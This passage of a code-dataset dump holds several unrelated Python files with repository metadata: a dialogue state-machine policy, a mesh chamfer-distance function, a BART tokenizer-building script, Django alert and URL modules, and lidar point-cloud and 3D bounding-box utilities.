unfilled\"],\r\n    \"greet\":[\"intent is greet\"],\r\n    \"buy_tv2\":[\"size unfilled\"],\r\n    \"inform_size\":[\"resolution unfilled\"],\r\n    \"inform_resolution\":[\"brandname unfilled\"],\r\n    \"inform_brandname\":[\"size filled\",\"resolution filled\",\"brandname filled\"],\r\n}\r\nstate_action_map ={\r\n    'how can i help you':[\"utter_offer_help\"],\r\n    \"1after_buy_tv\":[\"utter_list_size\",\"utter_ask_size\"],\r\n    \"2after_inform_size\":[\"utter_receive_size\",\"utter_ask_resolution\"],\r\n    \"3after_inform_resolution\":[\"utter_receive_resolution\",\"utter_list_brand\",\"utter_ask_brand\"],\r\n    \"4after_inform_brandname\":[\"utter_receive_brand\",\"utter_tv_summary\",\"utter_send_tv_order\"],\r\n}\r\n\r\ndef export_js_code(transition):\r\n    datas = []\r\n    for row in transition:\r\n        start,end,edge = row[\"source\"],row[\"dest\"],row[\"trigger\"]\r\n        code = \"g.setEdge(\\\"\"+ start+\"\\\", \\\"\"+ end+\"\\\", {label: \\\"\"+ edge+\"\\\"});\"\r\n        #print(code)\r\n        datas.append(code)\r\n        #print(code)\r\n    return (datas)\r\n\r\ndef get_transition_data(transition):\r\n    datas = []\r\n    for row in transition:\r\n        start,end,edge = row[\"source\"],row[\"dest\"],row[\"trigger\"]\r\n        code = \"g.setEdge(\\\"\"+ start+\"\\\", \\\"\"+ end+\"\\\", {label: \\\"\"+ edge+\"\\\"});\"\r\n        data = [start,end,edge]\r\n        datas.append(data)\r\n        #print(code)\r\n    return datas\r\n# export_js_code(form_policy)\r\n# print(states)\r\n\r\ndef cam_rest_data():\r\n    '''\r\n    开发人员读取预定义  fsm配置文件\r\n    :return:\r\n    '''\r\n\r\n    transition = load_transition_by_taskname('camrest')\r\n    states = get_states_from_transitions(transition)\r\n    edgename2condition = load_edge2rule_by_taskname('camrest')\r\n    state_action_map = load_state2action_by_taskname('camrest')\r\n    return states, transition, edgename2condition, state_action_map\r\n\r\n\r\ndef weather_fsm_data():\r\n    '''\r\n    transition ,states,state-utters mapper,\r\n    :return:\r\n    '''\r\n    states = []\r\n    transition =load_transition_by_taskname('weather')\r\n\r\n    states = get_states_from_transitions(transition)\r\n    edgename2condition = load_edge2rule_by_taskname('weather')\r\n    state_action_map = load_state2action_by_taskname('weather')\r\n\r\n    return states,get_transition_data(transition),transition,edgename2condition,state_action_map\r\n# print(\"----------------\")\r\n# weather_fsm_data()\r\n# print(\"----------------\")\r\nclass Fsm():\r\n    def __init__(self,task):\r\n        self.task = task\r\n        states, data, transition, edgename2condition, state_action_map = 0,0,0,0,0\r\n        if self.task == \"buy_tv\":\r\n            states, data, transition, edgename2condition, state_action_map = ask_next_buy_tv()\r\n            self.start_node = 'start'\r\n        elif self.task == \"camrest\":\r\n            states, transition, edgename2condition, state_action_map = cam_rest_data()\r\n            self.start_node = 'state_ask_area'\r\n        elif self.task == \"weather\":\r\n        #states, data, transition, edgename2condition, state_action_map = weather_fsm_data()\r\n            states, data, transition, edgename2condition, state_action_map = weather_fsm_data()\r\n            self.start_node = 'start'\r\n        elif self.task == \"reminder\":\r\n            states, data, transition, edgename2condition, state_action_map = reminder_data()\r\n            self.start_node = 'start'\r\n        else:\r\n            states, data, transition, edgename2condition, state_action_map = new_tv_data()\r\n        # Initialize\r\n        self.end_node = \"4after_inform_brandname\"\r\n\r\n        self.buy_tv_task = buy_tv_state()\r\n        self.transitions = transition\r\n        self.states = states\r\n        self.machine = Machine(self.buy_tv_task, states=self.states, transitions=self.transitions, initial=self.start_node)\r\n        self.edgename2condition = edgename2condition\r\n        self.state_action_map = state_action_map\r\n\r\n    def return_start_node(self):\r\n        self.set_current_state(self.start_node)\r\n\r\n    def is_start_node(self):\r\n        return self.current_state()==self.start_node\r\n\r\n    def is_end_node(self,node):\r\n        if node in [\"1all filled\",\"2all filled\",\"end\",\"end_search_event\",\"end_add_new_event\"]:\r\n            return True\r\n        return False\r\n\r\n    def current_state(self):\r\n        return self.buy_tv_task.state\r\n\r\n    def set_current_state(self,state):\r\n        self.buy_tv_task.state = state\r\n\r\n    def is_current_state_end(self):\r\n        return self.is_end_node(self.buy_tv_task.state)\r\n    @staticmethod\r\n    def get_edges_from_starting_state(transitions,start):\r\n        ends = []\r\n        for tran in transitions:\r\n            if tran[\"source\"] == start:\r\n                ends.append(tran[\"trigger\"])\r\n        return  list(set(ends))\r\n\r\n\r\n    def predict(self,edge_condition):\r\n        if not edge_condition:\r\n            dbot_online_logger.debug(\"there are not any edges\")\r\n            s = self.buy_tv_task.state\r\n            return self.state_action_map.get(s)\r\n        self.buy_tv_task.trigger(edge_condition)\r\n        s = self.buy_tv_task.state\r\n        dbot_online_logger.debug(\"current state is {}\".format(s))\r\n        return self.state_action_map.get(s)\r\n\r\n    def get_matched_condition_edge(self,domain):\r\n        if self.is_current_state_end():\r\n            self.return_start_node()\r\n        dest = []\r\n        ends = Fsm.get_edges_from_starting_state(self.transitions,self.buy_tv_task.state)\r\n        print(\"next step you can reach \",\",\".join(ends))\r\n        for key in self.edgename2condition.keys():\r\n            if key not in ends:\r\n                #print(key , \"not in dests \")\r\n                continue\r\n                #print(key, \" in dests \")\r\n            ruleset = self.edgename2condition[key]\r\n            #print(ruleset)\r\n            if domain.rule_set_evaluate(ruleset):\r\n                dest.append(key)\r\n        if len(dest)>1:\r\n            for key in dest:\r\n                ruleset = self.edgename2condition[key]\r\n                for rule in ruleset:\r\n                    if is_intent_rule(rule):\r\n                        return key\r\n            #print(\"your nlu condition matches {} edges\".format(len(dest)))\r\n            return dest[0]\r\n        elif len(dest)==1:\r\n            return dest[0]\r\n        #print(\"your nlu condition does not match any edge with condition\")\r\n        return None\r\n\r\n\r\n# F = Fsm()\r\n# r = F.machine.get_transitions(source=\"start\")\r\n# print(r)\r\n#\r\n#\r\n", "repo_name": "uclhenry/state_tracker", "sub_path": "policy/fsm.py", "file_name": "fsm.py", "file_ext": "py", "file_size_in_byte": 21336, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 26, "usage_type": "call"}, {"api_name": "json.load", "line_number": 31, "usage_type": "call"}, {"api_name": "json.load", "line_number": 36, "usage_type": "call"}, {"api_name": "itertools.permutations", "line_number": 198, "usage_type": "call"}, {"api_name": "itertools.permutations", "line_number": 268, "usage_type": "call"}, {"api_name": "transitions.Machine", "line_number": 478, "usage_type": "call"}, {"api_name": "loggers.dbot_online_logger.debug", "line_number": 512, "usage_type": "call"}, {"api_name": "loggers.dbot_online_logger", "line_number": 512, "usage_type": "name"}, {"api_name": "loggers.dbot_online_logger.debug", "line_number": 517, "usage_type": "call"}, {"api_name": "loggers.dbot_online_logger", "line_number": 517, "usage_type": "name"}, {"api_name": "dialogue_state.domain.is_intent_rule", "line_number": 539, "usage_type": "call"}]}
{"seq_id": "42957835937", "text": "import numpy as np\nimport trimesh\nfrom scipy.spatial import cKDTree as KDTree\n\n\ndef compute_trimesh_chamfer(\n    gt_mesh, pred_mesh, offset, scale, num_mesh_samples=30000, verbose=False\n):\n    \"\"\"\n    This function computes a symmetric chamfer distance, i.e. the sum of both chamfers.\n\n    gt_mesh: trimesh.base.Trimesh of ground truth mesh\n\n    pred_mesh: trimesh.base.Trimesh of output mesh from whichever autoencoding reconstruction\n              method (see compute_metrics.py for more)\n\n    \"\"\"\n    if gt_mesh.vertices.shape[0] == 0 or pred_mesh.vertices.shape[0] == 0:\n        return np.nan\n\n    pred_points = trimesh.sample.sample_surface(pred_mesh, num_mesh_samples)[0]\n    gt_points = trimesh.sample.sample_surface(gt_mesh, num_mesh_samples)[0]\n\n    gt_points = (gt_points - offset) / scale\n\n    # one direction\n    pred_points_kd_tree = KDTree(pred_points)\n    one_distances, one_vertex_ids = pred_points_kd_tree.query(gt_points)\n    gt_to_pred_chamfer = np.mean(np.square(one_distances))\n\n    # other direction\n    gt_points_kd_tree = KDTree(gt_points)\n    two_distances, two_vertex_ids = gt_points_kd_tree.query(pred_points)\n    pred_to_gt_chamfer = np.mean(np.square(two_distances))\n\n    if verbose:\n        print(\n            gt_to_pred_chamfer + pred_to_gt_chamfer,\n            gt_to_pred_chamfer,\n            pred_to_gt_chamfer,\n        )\n    return gt_to_pred_chamfer + pred_to_gt_chamfer\n", "repo_name": "TTimelord/Sim2Real2", "sub_path": "ditto/src/utils/chamfer.py", "file_name": "chamfer.py", "file_ext": "py", "file_size_in_byte": 1406, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.nan", "line_number": 19, "usage_type": "attribute"}, {"api_name": "trimesh.sample.sample_surface", "line_number": 21, "usage_type": "call"}, {"api_name": "trimesh.sample", "line_number": 21, "usage_type": "attribute"}, {"api_name": "trimesh.sample.sample_surface", "line_number": 22, "usage_type": "call"}, {"api_name": "trimesh.sample", "line_number": 22, "usage_type": "attribute"}, {"api_name": "scipy.spatial.cKDTree", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 29, "usage_type": "call"}, {"api_name": "scipy.spatial.cKDTree", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "15927720533", "text": "import os\nimport csv\nimport numpy as np\nfrom tokenizers import ByteLevelBPETokenizer\nfrom transformers import BartTokenizer, BartForConditionalGeneration, BertTokenizer\n\npath = './custom_pretrain'\nos.mkdir(path)\nsamples = []\nwith open(\"../data/raw.csv\",'r') as fp:\n    reader = csv.reader(fp)\n    sample = [row for row in reader]\n    for i in sample:\n        samples.append(i[1])\n        samples.append(i[2])\n\nwith open(\"../data/preliminary_a_test.csv\",'r') as fp:\n    reader = csv.reader(fp)\n    sample = [row for row in reader]\n    for i in sample:\n        samples.append(i[1])\n\nwith open(\"data.txt\", 'w') as f:\n    for i in samples:\n        f.write(i + '\\n')\n\ndef build_vocab(vocab_file = './vocab.txt'):\n    init_list = [x for x in range(1300)]\n    tokenizer = BartTokenizer.from_pretrained('facebook/bart-base')\n    all_special_ids, all_special_tokens = zip(*sorted(zip(tokenizer.all_special_ids, tokenizer.all_special_tokens)))\n    print(f'insert {all_special_ids} {all_special_tokens}')\n    for i in range(len(all_special_ids)):\n        init_list.insert(all_special_ids[i], all_special_tokens[i])\n\n    with open(vocab_file, 'w') as fp:\n        for i in init_list:\n            print(i)\n            fp.write(f'{i}\\n')\n\ntokenizer = ByteLevelBPETokenizer(lowercase=True, add_prefix_space=True)\ntokenizer.train(files='./data.txt',  special_tokens=['', '', '', '', '', '10', '11'])\ntokenizer.save_model(path)\nprint(tokenizer.encode(\" 10\").ids)\nprint(tokenizer.encode(\"10\").ids)\nprint(tokenizer.encode(\" 11\").ids)\nprint(tokenizer.encode(\"11\").ids)\nprint(tokenizer.decode([0,278,2]))\n# build_vocab(vocab_file=\"./vocab.txt\")\ntokenizer = BartTokenizer.from_pretrained(path)\nprint(tokenizer.vocab_size)\n\nmodel = BartForConditionalGeneration.from_pretrained(\"facebook/bart-base\")\n# model.encoder.resize_embeddings(tokenizer.vocab_size)\n# model.decoder.resize_embeddings(tokenizer.vocab_size)\nmodel.resize_token_embeddings(tokenizer.vocab_size)\nmodel.save_pretrained(path)\n", "repo_name": "aeeeeeep/2023GAIIC", "sub_path": "tools/gen_bart.py", "file_name": "gen_bart.py", "file_ext": "py", "file_size_in_byte": 1990, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.mkdir", "line_number": 8, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 11, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 18, "usage_type": "call"}, {"api_name": "transformers.BartTokenizer.from_pretrained", "line_number": 29, "usage_type": "call"}, {"api_name": "transformers.BartTokenizer", "line_number": 29, "usage_type": "name"}, {"api_name": "tokenizers.ByteLevelBPETokenizer", "line_number": 40, "usage_type": "call"}, {"api_name": "transformers.BartTokenizer.from_pretrained", "line_number": 49, "usage_type": "call"}, {"api_name": "transformers.BartTokenizer", "line_number": 49, "usage_type": "name"}, {"api_name": "transformers.BartForConditionalGeneration.from_pretrained", "line_number": 52, "usage_type": "call"}, {"api_name": "transformers.BartForConditionalGeneration", "line_number": 52, "usage_type": "name"}]}
{"seq_id": "2969716147", "text": "from django.core.exceptions import ObjectDoesNotExist\n\nfrom dsd.models import Alert\n\n\ndef should_send_alert(rule_group_id, org_unit_uid):\n    try:\n        return Alert.objects.get(rule_group_id=rule_group_id, org_unit_uid=org_unit_uid).should_alert\n    except ObjectDoesNotExist:\n        update_alert_status(rule_group_id, org_unit_uid, True)\n        return True\n\n\ndef update_alert_status(rule_group_id, org_unit_uid, should_alert):\n    alerts = Alert.objects.filter(rule_group_id=rule_group_id, org_unit_uid=org_unit_uid)\n    amount = alerts.count()\n\n    if 0 == amount:\n        Alert(rule_group_id=rule_group_id, org_unit_uid=org_unit_uid, should_alert=should_alert).save()\n    elif 1 == amount:\n        alert = alerts[0]\n        alert.should_alert = should_alert\n        alert.save()\n    else:\n        raise RuntimeError('Should not have more than 1 alert for same organisation unit')\n", "repo_name": "chai-moz-dsd/chai", "sub_path": "dsd/services/alert_service.py", "file_name": "alert_service.py", "file_ext": "py", "file_size_in_byte": 888, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "dsd.models.Alert.objects.get", "line_number": 8, "usage_type": "call"}, {"api_name": "dsd.models.Alert.objects", "line_number": 8, "usage_type": "attribute"}, {"api_name": "dsd.models.Alert", "line_number": 8, "usage_type": "name"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 9, "usage_type": "name"}, {"api_name": "dsd.models.Alert.objects.filter", "line_number": 15, "usage_type": "call"}, {"api_name": "dsd.models.Alert.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "dsd.models.Alert", "line_number": 15, "usage_type": "name"}, {"api_name": "dsd.models.Alert", "line_number": 19, "usage_type": "call"}]}
{"seq_id": "20521134941", "text": "\"\"\"TestCase URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  url(r'^$', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Add an import:  from blog import urls as blog_urls\n    2. Import the include() function: from django.conf.urls import url, include\n    3. Add a URL to urlpatterns:  url(r'^blog/', include(blog_urls))\n\"\"\"\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n    url(r'^$', views.homepage),\n    url(r'^registo/$', views.registo),\n\turl(r'^login/$', views.login),\n\turl(r'^autenticacao/$', views.autenticacao),\n\turl(r'^inicio/$', views.inicio),\n\turl(r'^logout$', views.logout),\n\turl(r'^get/(?P\\d+)/$', views.topico),\n\turl(r'^novotopico/$', views.novoTopico),\n]\n", "repo_name": "zemmarques/TestCase", "sub_path": "forumApp/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1077, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 23, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 24, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 25, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 26, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 27, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "16897005558", "text": "import cv2\nimport numpy as np\nimport math\nimport json\nimport os\n\n#from config import cfg\nfrom utils.box_overlaps import *\nfrom config import cfg\n\ndef process_pointcloud(point_cloud, cfg):\n    # Input:\n    #   (N, 4)\n    # Output:\n    #   voxel_dict\n    scene_size = np.array(cfg.SCENE_SIZE, dtype=np.float32)\n    voxel_size = np.array(cfg.VOXEL_SIZE, dtype=np.float32)\n    grid_size = np.array(cfg.GRID_SIZE, dtype=np.int64)\n    lidar_coord = np.array(cfg.LIDAR_COORD, dtype=np.float32)\n    max_point_number = cfg.MAX_POINT_NUMBER\n    \n    if cfg.DETECT_OBJECT != \"Car\":\n        np.random.shuffle(point_cloud)\n\n    shifted_coord = point_cloud[:, :3] + lidar_coord\n    # reverse the point cloud coordinate (X, Y, Z) -> (Z, Y, X)\n    voxel_index = np.floor(\n        shifted_coord[:, ::-1] / voxel_size).astype(np.int)\n\n    bound_x = np.logical_and(\n        voxel_index[:, 2] >= 0, voxel_index[:, 2] < grid_size[2])\n    bound_y = np.logical_and(\n        voxel_index[:, 1] >= 0, voxel_index[:, 1] < grid_size[1])\n    bound_z = np.logical_and(\n        voxel_index[:, 0] >= 0, voxel_index[:, 0] < grid_size[0])\n\n    bound_box = np.logical_and(np.logical_and(bound_x, bound_y), bound_z)\n\n    point_cloud = point_cloud[bound_box]\n    voxel_index = voxel_index[bound_box]\n\n    # [K, 3] coordinate buffer as described in the paper\n    coordinate_buffer = np.unique(voxel_index, axis=0)\n\n    K = len(coordinate_buffer)\n    T = max_point_number\n\n    # [K, 1] store number of points in each voxel grid\n    number_buffer = np.zeros(shape=(K), dtype=np.int64)\n\n    # [K, T, 7] feature buffer as described in the paper\n    feature_buffer = np.zeros(shape=(K, T, 7), dtype=np.float32)\n\n    # build a reverse index for coordinate buffer\n    index_buffer = {}\n    for i in range(K):\n        index_buffer[tuple(coordinate_buffer[i])] = i\n\n    for voxel, point in zip(voxel_index, point_cloud):\n        index = index_buffer[tuple(voxel)]\n        number = number_buffer[index]\n        if number < T:\n            feature_buffer[index, number, :4] = point\n            number_buffer[index] += 1\n\n    feature_buffer[:, :, -3:] = feature_buffer[:, :, :3] - \\\n        feature_buffer[:, :, :3].sum(axis=1, keepdims=True)/number_buffer.reshape(K, 1, 1)\n\n    voxel_dict = {'feature_buffer': feature_buffer,\n                  'coordinate_buffer': coordinate_buffer,\n                  'number_buffer': number_buffer}\n    return voxel_dict\n\n# transformation matrix converts from sensorA->sensorB to sensorB->sensorA\ndef inv_trans(T):\n    rotation = np.linalg.inv(T[0:3, 0:3])  # rotation matrix\n\n    translation = T[0:3, 3]\n    translation = -1 * np.dot(rotation, translation.T)\n    translation = np.reshape(translation, (3, 1))\n    Q = np.hstack((rotation, translation))\n\n    return Q\n\ndef quat_to_rotation(quat):\n    # input: (4, 1)\n    # output: (4, 4)\n    m = np.sum(np.multiply(quat, quat))\n    q = quat.copy()\n    q = np.array(q)\n    n = np.dot(q, q)\n    if n < np.finfo(q.dtype).eps:\n        rot_matrix = np.identity(4)\n        return rot_matrix\n    q = q * np.sqrt(2.0 / n)\n    q = np.outer(q, q)\n    rot_matrix = np.array(\n        [[1.0 - q[2, 2] - q[3, 3], q[1, 2] + q[3, 0], q[1, 3] - q[2, 0]],\n         [q[1, 2] - q[3, 0], 1.0 - q[1, 1] - q[3, 3], q[2, 3] + q[1, 0]],\n         [q[1, 3] + q[2, 0], q[2, 3] - q[1, 0], 1.0 - q[1, 1] - q[2, 2]]],\n        dtype=q.dtype)\n    rot_matrix = np.transpose(rot_matrix)\n    # # test if it is truly a rotation matrix\n    # d = np.linalg.det(rotation)\n    # t = np.transpose(rotation)\n    # o = np.dot(rotation, t)\n    return rot_matrix\n\ndef qaut_to_angle(quat):\n    w=quat[0]\n    x=quat[1]\n    y=quat[2]\n    z=quat[3]\n\n    roll = math.atan2(2*(w*x+y*z),1-2*(x*x+y*y))#the rol is the yaw angle!\n    pitch = math.asin(2*(w*y-x*z))\n    yaw = math.atan2(2*(w*z+x*y),1-2*(z*z+y*y))\n    return roll, pitch, yaw\n\ndef angle_to_quat(roll, pitch, yaw):\n    cy = math.cos(yaw * 0.5)\n    sy = math.sin(yaw * 0.5)\n    cp = math.cos(pitch * 0.5)\n    sp = math.sin(pitch * 0.5)\n    cr = math.cos(roll * 0.5)\n    sr = math.sin(roll * 0.5)\n\n    q = np.zeros(4)\n    q[0] = cr * cp * cy + sr * sp * sy\n    q[1] = sr * cp * cy - cr * sp * sy\n    q[2] = cr * sp * cy + sr * cp * sy\n    q[3] = cr * cp * sy - sr * sp * cy\n\n    return q\n\n#-- util function to load calib matrices\ndef load_calib(calib_dir):\n    # output: 3 matrix\n    with open(calib_dir, mode='r') as f:\n        data = json.load(f)\n    T_fromLidar = np.array(data['sensors'][1]['calib_data']['T_to_ref_COS'])\n    T_fromCamera = np.array(data['sensors'][2]['calib_data']['T_to_ref_COS'])\n    K = np.array(data['sensors'][2]['calib_data']['K'])\n\n    T_toLidar = inv_trans(T_fromLidar)\n    T_toCamera = inv_trans(T_fromCamera)\n    return T_toLidar, T_toCamera, K\n\ndef get_class_id(classname):\n    classes = {'Bus': 0, 'Car':1, 'Cyclist': 2, 'Motorcyclist': 3, 'Person': 4, 'Trailer':5, 'Truck':6, 'Towed Object': 5, 'Other Vehicle': 5}\n    return classes[classname]\n\ndef load_label(label_dir):\n    # output: [N,11]\n    with open(label_dir, mode='r') as f:\n        data = json.load(f)\n    objects_info = data['objects']\n    label = np.empty((len(objects_info), 11))\n\n    for i, p in enumerate(objects_info):\n        label[i,:] = np.array([p['center3d'][0], p['center3d'][1], p['center3d'][2],\n                              p['dimension3d'][0], p['dimension3d'][1], p['dimension3d'][2],\n                              p['orientation_quat'][0], p['orientation_quat'][1], p['orientation_quat'][2], p['orientation_quat'][3],\n                              get_class_id(p['classname'])])\n\n    return label\n\ndef lidar_to_bird_view(x, y, factor=1):\n    # using the cfg.INPUT_XXX\n    a = (x - cfg.X_MIN) / cfg.VOXEL_X_SIZE * factor\n    b = (y - cfg.Y_MIN) / cfg.VOXEL_Y_SIZE * factor\n    a = np.clip(a, a_max=(cfg.X_MAX - cfg.X_MIN) / cfg.VOXEL_X_SIZE * factor, a_min=0)\n    b = np.clip(b, a_max=(cfg.Y_MAX - cfg.Y_MIN) / cfg.VOXEL_Y_SIZE * factor, a_min=0)\n    return a, b\n\ndef batch_lidar_to_bird_view(points, factor=1):\n    # Input:\n    #   points (N, 2)\n    # Outputs:\n    #   points (N, 2)\n    # using the cfg.INPUT_XXX\n    a = (points[:, 0] - cfg.X_MIN) / cfg.VOXEL_X_SIZE * factor\n    b = (points[:, 1] - cfg.Y_MIN) / cfg.VOXEL_Y_SIZE * factor\n    a = np.clip(a, a_max=(cfg.X_MAX - cfg.X_MIN) / cfg.VOXEL_X_SIZE * factor, a_min=0)\n    b = np.clip(b, a_max=(cfg.Y_MAX - cfg.Y_MIN) / cfg.VOXEL_Y_SIZE * factor, a_min=0)\n    return np.concatenate([a[:, np.newaxis], b[:, np.newaxis]], axis=-1)\n\n\ndef angle_in_limit(angle):\n    # To limit the angle in -pi/2 - pi/2\n    limit_degree = 5\n    while angle >= np.pi / 2:\n        angle -= np.pi\n    while angle < -np.pi / 2:\n        angle += np.pi\n    if abs(angle + np.pi / 2) < limit_degree / 180 * np.pi:\n        angle = np.pi / 2\n    return angle\n\n\ndef camera_to_lidar(x, y, z, T_VELO_2_CAM=None, R_RECT_0=None):\n    if type(T_VELO_2_CAM) == type(None):\n        T_VELO_2_CAM = np.array(cfg.MATRIX_T_VELO_2_CAM)\n    \n    if type(R_RECT_0) == type(None):\n        R_RECT_0 = np.array(cfg.MATRIX_R_RECT_0)\n\n    p = np.array([x, y, z, 1])\n    p = np.matmul(np.linalg.inv(R_RECT_0), p)\n    p = np.matmul(np.linalg.inv(T_VELO_2_CAM), p)\n    p = p[0:3]\n    return tuple(p)\n\n\ndef lidar_to_camera(x, y, z, T_VELO_2_CAM=None, R_RECT_0=None):\n    if type(T_VELO_2_CAM) == type(None):\n        T_VELO_2_CAM = np.array(cfg.MATRIX_T_VELO_2_CAM)\n    \n    if type(R_RECT_0) == type(None):\n        R_RECT_0 = np.array(cfg.MATRIX_R_RECT_0)\n\n    p = np.array([x, y, z, 1])\n    p = np.matmul(T_VELO_2_CAM, p)\n    #p = np.matmul(R_RECT_0, p)\n    #p = p[0:3]\n    return tuple(p)\n\n\ndef camera_to_lidar_point(points, T_VELO_2_CAM=None, R_RECT_0=None):\n    # (N, 3) -> (N, 3)\n    N = points.shape[0]\n    points = np.hstack([points, np.ones((N, 1))]).T  # (N,4) -> (4,N)\n\n    if type(T_VELO_2_CAM) == type(None):\n        T_VELO_2_CAM = np.array(cfg.MATRIX_T_VELO_2_CAM)\n    \n    if type(R_RECT_0) == type(None):\n        R_RECT_0 = np.array(cfg.MATRIX_R_RECT_0)\n\n    points = np.matmul(np.linalg.inv(R_RECT_0), points)\n    points = np.matmul(np.linalg.inv(T_VELO_2_CAM), points).T  # (4, N) -> (N, 4)\n    points = points[:, 0:3]\n    return points.reshape(-1, 3)\n\n\ndef lidar_to_camera_point(points, T_VELO_2_CAM=None):\n    # (N, 3) -> (3, N)\n    N = points.shape[0]\n    points = np.hstack([points, np.ones((N, 1))]).T\n\n    points = np.matmul(T_VELO_2_CAM, points)\n    #points = points[:, 0:3]\n    return points\n\n\ndef camera_to_lidar_box(boxes, T_VELO_2_CAM=None, R_RECT_0=None):\n    # (N, 7) -> (N, 7) x,y,z,h,w,l,r\n    ret = []\n    for box in boxes:\n        x, y, z, h, w, l, ry = box\n        (x, y, z), h, w, l, rz = camera_to_lidar(\n            x, y, z, T_VELO_2_CAM, R_RECT_0), h, w, l, -ry - np.pi / 2\n        rz = angle_in_limit(rz)\n        ret.append([x, y, z, h, w, l, rz])\n    return np.array(ret).reshape(-1, 7)\n\n\ndef lidar_to_camera_box(boxes, T_VELO_2_CAM=None, R_RECT_0=None):\n    # (N, 7) -> (N, 7) x,y,z,h,w,l,r\n    ret = []\n    for box in boxes:\n        x, y, z, h, w, l, rz = box\n        (x, y, z), h, w, l, ry = lidar_to_camera(\n            x, y, z, T_VELO_2_CAM, R_RECT_0), h, w, l, -rz - np.pi / 2\n        ry = angle_in_limit(ry)\n        ret.append([x, y, z, h, w, l, ry])\n    return np.array(ret).reshape(-1, 7)\n\n\ndef center_to_corner_box2d(boxes_center, coordinate='lidar', T_VELO_2_CAM=None, R_RECT_0=None):\n    # (N, 5) -> (N, 4, 2)\n    N = boxes_center.shape[0]\n    boxes3d_center = np.zeros((N, 7))\n    boxes3d_center[:, [0, 1, 4, 5, 6]] = boxes_center\n    boxes3d_corner = center_to_corner_box3d(boxes3d_center, coordinate=coordinate, T_VELO_2_CAM=T_VELO_2_CAM, R_RECT_0=R_RECT_0)\n\n    return boxes3d_corner[:, 0:4, 0:2]\n\n\ndef center_to_corner_box3d(boxes_center, coordinate='lidar', T_VELO_2_CAM=None, R_RECT_0=None):\n    # (N, 10) -> (N, 8, 3)\n    # (N, 7) -> (N, 8, 3)\n\n    N = boxes_center.shape[0]\n    ret = np.zeros((N, 8, 3), dtype=np.float32)\n\n    if coordinate == 'camera':\n        boxes_center = camera_to_lidar_box(boxes_center, T_VELO_2_CAM, R_RECT_0)\n\n    for i in range(N):\n        box = boxes_center[i]\n        translation = box[0:3]\n        size = box[3:6]\n\n        w, l, h = size[0], size[1], size[2]\n        trackletBox = np.array([\n            [w / 2, -w / 2, -w / 2, w / 2, w / 2, -w / 2, -w / 2, w / 2],\\\n            [l / 2, l / 2, -l / 2, -l / 2, l / 2, l / 2, -l / 2, -l / 2],\\\n            [h / 2, h / 2, h / 2, h / 2, -h / 2, -h / 2, -h / 2, -h / 2]])\n        # rotate and translate 3d bounding box\n        if box.shape[0] == 10:\n            quaternion = box[6:10]\n            rotMat = quat_to_rotation(quaternion)\n        else:\n            yaw = box[6]\n            rotMat = np.array([\n              [np.cos(yaw), -np.sin(yaw), 0.0],\n              [np.sin(yaw), np.cos(yaw), 0.0],\n              [0.0, 0.0, 1.0]])\n\n        cornerPosInVelo = np.dot(rotMat, trackletBox) + np.tile(translation, (8, 1)).T\n        box3d = cornerPosInVelo.transpose()\n        ret[i] = box3d\n\n    #print(f'bounding box:{ret[0]}')\n    # for idx in range(len(ret)):\n    #     ret[idx] = lidar_to_camera_point(ret[idx], T_VELO_2_CAM)\n\n    return ret\n\n\ndef corner_to_center_box2d(boxes_corner, coordinate='lidar', T_VELO_2_CAM=None, R_RECT_0=None):\n    # (N, 4, 2) -> (N, 5)  x,y,w,l,r\n    N = boxes_corner.shape[0]\n    boxes3d_corner = np.zeros((N, 8, 3))\n    boxes3d_corner[:, 0:4, 0:2] = boxes_corner\n    boxes3d_corner[:, 4:8, 0:2] = boxes_corner\n    boxes3d_center = corner_to_center_box3d(boxes3d_corner, coordinate=coordinate, T_VELO_2_CAM=T_VELO_2_CAM, R_RECT_0=R_RECT_0)\n\n    return boxes3d_center[:, [0, 1, 4, 5, 6]]\n\n\ndef corner_to_standup_box2d(boxes_corner):\n    # (N, 4, 2) -> (N, 4) x1, y1, x2, y2\n    N = boxes_corner.shape[0]\n    standup_boxes2d = np.zeros((N, 4))\n    standup_boxes2d[:, 0] = np.min(boxes_corner[:, :, 0], axis=1)\n    standup_boxes2d[:, 1] = np.min(boxes_corner[:, :, 1], axis=1)\n    standup_boxes2d[:, 2] = np.max(boxes_corner[:, :, 0], axis=1)\n    standup_boxes2d[:, 3] = np.max(boxes_corner[:, :, 1], axis=1)\n\n    return standup_boxes2d\n\n\n# TODO: 0/90 may be 